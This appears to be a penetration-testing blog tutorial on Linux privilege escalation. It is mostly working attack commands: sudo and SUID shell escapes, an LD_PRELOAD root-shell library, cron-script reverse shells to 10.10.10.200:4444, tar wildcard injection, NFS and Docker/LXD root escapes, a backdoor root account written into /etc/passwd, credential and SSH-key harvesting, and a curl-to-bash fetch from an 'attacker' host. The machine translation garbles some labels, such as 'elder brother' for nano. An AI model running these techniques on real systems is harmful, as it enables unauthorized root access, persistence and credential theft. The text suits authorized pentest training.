linux

Linux PrivEsc: Real root escalation techniques

Linux PrivEsc: Real root escalation techniques

Linux PrivEsc: Real-world privilege escalation techniques for gaining root. Practical workflow from real-world CTFs and pentests.

  • Posted on 2026-02-27
  • Reading time: 6 min

Executive Summary — You got a shell on a Linux system — but you're www-data, nobody or a low-priv user. The next step is to become root. Linux privilege escalation exploits misconfigurations: SUID binary, permissive sudo, excessive capabilities, insecure cron jobs, PATH hijacking, vulnerable kernels, NFS mounts with no_root_squash, and misconfigured containers. This article covers each technique with working commands, commented output, and links to GTFOBins for each exploitable binary.

md
> **TL;DR**
> - `sudo -l` = primo check: se puoi eseguire binari come root → cerca su GTFOBins (https://gtfobins.github.io/) per l’escape
> - SUID custom = finding comune: `find / -perm -4000` → verifica se abusabile (GTFOBins)
> - LinPEAS automatizza enum → ma ogni finding va validato e sfruttato manualmente

Workflow — The Order of Operations #

When landing on a Linux system, follow this order. The techniques are ranked by success rate and speed:

text
1. sudo -l                          → 30 secondi, spesso game over
2. SUID/SGID binary                 → 1 minuto
3. Capabilities                     → 30 secondi
4. Cron job insicuri                → 2 minuti
5. File sensibili leggibili         → 2 minuti
6. Variabili d'ambiente             → 30 secondi
7. PATH hijacking                   → 2 minuti
8. NFS no_root_squash               → 2 minuti
9. Docker/LXC group                 → 30 secondi
10. Kernel exploit                  → ultimo resort

For the complete enumeration covering all these vectors systematically.

1. sudo Abuse #

sudo -l — The First Command #

bash
sudo -l

Output (ideal case):

text
User www-data may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim

vim as root without password. Search on GTFOBins :

bash
sudo vim -c '!bash'

Root. Fine.

Common sudo binaries and exploitation #

vim/vi:

bash
sudo vim -c '!bash'

elder brother:

bash
sudo nano
# Ctrl+R, Ctrl+X
# Poi: reset; bash 1>&0 2>&0

find:

bash
sudo find / -exec /bin/bash \;

python/python3:

bash
sudo python3 -c 'import os; os.system("/bin/bash")'

profile:

bash
sudo perl -e 'exec "/bin/bash";'

ruby:

bash
sudo ruby -e 'exec "/bin/bash"'

less/more:

bash
sudo less /etc/shadow
# Poi: !bash

awk:

bash
sudo awk 'BEGIN {system("/bin/bash")}'

nmap (older versions with interactive):

bash
sudo nmap --interactive
nmap> !bash

env:

bash
sudo env /bin/bash

cp:

bash
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -p

wget (file write):

bash
# Sovrascrivi /etc/shadow con una versione con password nota
sudo wget http://10.10.10.200:8080/shadow -O /etc/shadow

apt/apt-get:

bash
sudo apt update -o APT::Update::Pre-Invoke::="/bin/bash"

sudo with LD_PRELOAD #

Se sudo -l show env_keep+=LD_PRELOAD:

c
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
bash
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_binary

sudo with LD_LIBRARY_PATH #

Se env_keep+=LD_LIBRARY_PATH:

bash
# Trova quale libreria carica il binario
ldd /usr/bin/allowed_binary
# libcustom.so => /usr/lib/libcustom.so

# Crea libreria malevola
gcc -fPIC -shared -o /tmp/libcustom.so shell.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary

sudo vulnerable version #

bash
sudo --version

CVE-2021-3156 (Baron Samedit): sudo 1.8.2 - 1.9.5p1

bash
# Test: se questo crashea, è vulnerabile
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

CVE-2019-14287: se sudo -l show (ALL, !root):

bash
sudo -u#-1 /bin/bash

2. SUID Binary #

Find SUID #

bash
find / -perm -4000 -type f 2>/dev/null

Output:

text
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/su
/usr/bin/pkexec
/usr/bin/mount
/opt/custom_app
/usr/local/bin/backup_tool

The first 5 are standard. /opt/custom_app e /usr/local/bin/backup_tool they are custom → targets of exploitation.

Custom SUID Analysis #

bash
file /opt/custom_app
bash
strings /opt/custom_app
text
/bin/sh
cat /etc/shadow
service apache restart

If the track calls cat o service without absolute path → PATH hijacking.

SUID + PATH Hijacking #

bash
# Il binario SUID chiama "cat" senza path assoluto
# Crea un "cat" malevolo
echo '/bin/bash -p' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH

# Esegui il SUID binary
/opt/custom_app
# Invece di "cat /etc/shadow", esegue il TUO "cat" → bash root

SUID + Shared Object Injection #

bash
# Verifica se il SUID cerca librerie in path scrivibili
strace /opt/custom_app 2>&1 | grep "open.*\.so.*No such file"
text
open("/home/user/.config/libcustom.so", O_RDONLY) = -1 ENOENT
bash
# Crea la libreria mancante
gcc -fPIC -shared -o /home/user/.config/libcustom.so shell.c
/opt/custom_app
# Carica la TUA libreria → root

GTFOBins SUID #

For each SUID found, search GTFOBins for the “SUID” section:

bash
# Esempio: bash SUID
/usr/bin/bash -p
bash
# Esempio: python3 SUID
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

3. Capabilities #

bash
getcap -r / 2>/dev/null

Output:

text
/usr/bin/python3.11 cap_setuid=ep
/usr/bin/perl5.36.0 cap_setuid=ep
/usr/sbin/tcpdump cap_net_raw=ep
/usr/bin/tar cap_dac_read_search=ep

cap_setuid (direct root) #

bash
# Python
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
bash
# Perl
/usr/bin/perl5.36.0 -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

cap_dac_read_search (read any file) #

bash
# tar con cap_dac_read_search: leggi /etc/shadow
/usr/bin/tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz
cat etc/shadow

cap_net_raw (traffic sniffing) #

bash
/usr/sbin/tcpdump -i eth0 -w /tmp/capture.pcap

Capture cleartext traffic — FTP , HTTP , SMTP credentials.

4. Cron Job #

Enumerate cron #

bash
crontab -l
bash
cat /etc/crontab
bash
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
bash
# Cerca script chiamati da cron
grep -r ".*" /etc/cron* 2>/dev/null

/etc/crontab output:

text
*/5 * * * * root /opt/scripts/backup.sh
*/1 * * * * root /usr/local/bin/cleanup.sh

Writable cron script #

bash
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 234 Jan 15 10:00 /opt/scripts/backup.sh

Writable by everyone (rwx for others):

bash
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' >> /opt/scripts/backup.sh

Wait 5 minutes → reverse shell as root.

Cron with wildcard injection #

If the cron runs:

bash
# In /opt/scripts/backup.sh:
cd /var/www/html
tar czf /tmp/backup.tar.gz *

The asterisk * Expands filenames. You can create files with names that are arguments to tar:

bash
cd /var/www/html
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=bash /tmp/shell.sh'
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' > /tmp/shell.sh
chmod +x /tmp/shell.sh

When cron runs tar czf /tmp/backup.tar.gz *, the files --checkpoint=1 e --checkpoint-action=exec=bash /tmp/shell.sh become arguments of tar → RCE as root.

Cron with non-absolute PATH #

If the cron runs backup.sh without absolute path and the cron PATH includes a writable directory:

bash
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' > /tmp/backup.sh
chmod +x /tmp/backup.sh

pspy — Discover hidden crons #

bash
./pspy64
text
2026/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/secret_cron.sh

pspy shows processes that start without being in crontab — scripts called by systemd timers, at, or other schedulers.

5. Sensitive Files and Credentials #

Password in configuration file #

bash
grep -riE "password|passwd|secret|token|api_key|db_pass" /var/www/ /opt/ /etc/ /home/ 2>/dev/null

.env file #

bash
find / -name ".env" -type f 2>/dev/null
bash
cat /var/www/html/.env
text
DB_HOST=localhost
DB_USER=root
DB_PASSWORD=Pr0duction_P@ss!
SECRET_KEY=abc123def456

SSH keys #

bash
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
bash
cat /home/admin/.ssh/id_rsa

If you find a private key: ssh -i id_rsa admin@localhost or to other hosts. For the SSH attacks .

.bash_history #

bash
cat /home/*/.bash_history 2>/dev/null | grep -iE "pass|mysql|ssh|sudo|curl.*auth"

Readable files with sensitive information #

bash
cat /etc/shadow 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null

6. NFS no_root_squash #

bash
# Dal target: verifica export NFS
cat /etc/exports
text
/home *(rw,no_root_squash)

For the full SUID backdoor technique: NFS port 2049.

bash
# Dalla tua macchina:
mount -t nfs 10.10.10.40:/home /tmp/nfs
cp /bin/bash /tmp/nfs/suid_bash
chmod 4755 /tmp/nfs/suid_bash

# Sul target:
/home/suid_bash -p
# root

7. Docker / LXC Group #

If the user is in the group docker:

bash
id
# groups=...,999(docker)
bash
docker run -v /:/mnt --rm -it alpine chroot /mnt bash

Root on the host. For full details: container escape and port 2375 Docker.

If in the group lxd:

bash
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# chroot /mnt/root bash → root sull'host

8. Kernel Exploit #

The last resort—because kernel exploits can crash your system. For the complete guide: kernel exploits.

bash
uname -r
cat /etc/os-release
bash
searchsploit linux kernel $(uname -r | cut -d'-' -f1) privilege escalation

The most relevant kernel exploits 2020-2026 are documented in the dedicated guide.

9. Additional Techniques #

Writable /etc/passwd #

bash
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... → scrivibile!
bash
openssl passwd -6 -salt abc password123
# $6$abc$hash...
echo 'backdoor:$6$abc$hash:0:0:backdoor:/root:/bin/bash' >> /etc/passwd
su backdoor
# Password: password123 → root

systemd timer #

bash
systemctl list-timers --all

Look for timers that run scripts — same logic as cronjobs.

Service abuse (writable service file) #

bash
find /etc/systemd/system/ -writable -type f 2>/dev/null

If a file .service it is writable: edit ExecStart with your reverse shell.

Environment variables in /proc #

bash
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|token"

10. Automatic Enumeration Tool #

toolFunctionCommand
LinPEASComplete enumerationcurl http://attacker/linpeas.sh | bash
LinEnumClassical enumerationbash LinEnum.sh -t
linux-exploit-suggestionSuggests kernel exploitbash les.sh
pspyProcess Monitor (no root)./pspy64
linux-smart-enumerationEnumeration with levelsbash lse.sh -l 2

For detailed usage of these tools: linux enumeration.

11. Final Cheat Sheet #

TechnologyKey command
sudo checksudo -l
SUID findfind / -perm -4000 -type f 2>/dev/null
Capabilitiesgetcap -r / 2>/dev/null
Croncat /etc/crontab; ls /etc/cron*
Cred searchgrep -riE "password|secret" /var/www /opt /home
SSH keysfind / -name "id_rsa" 2>/dev/null
NFScat /etc/exports
Docker groupid | grep docker
Kerneluname -r; searchsploit linux kernel
Historycat /home/*/.bash_history
Writable filesfind / -writable -type f 2>/dev/null
GTFOBinsSearch every track on gtfobins

Reference:

For use in authorized environments only.

[1]: https://gtfobins.github.io/?utm_source=chatgpt.com “GTFOBins” [2]: https://angelica.gitbook.io/hacktricks/linux-hardening/linux-privilege-escalation-checklist?utm_source=chatgpt.com “Checklist - Linux Privilege Escalation - HackTricks” [3]: https://ahmed-tarek.gitbook.io/security-notes/pentesting/net-pen/privilege-escalation/linux-privilege-escalation?utm_source=chatgpt.com “Linux Privilege Escalation - Security Notes - GitBook”

hackita.it/supporto — hackita.it/servizi.

#privesc-linux #linux-enumeration

leave a message

I'm not a robot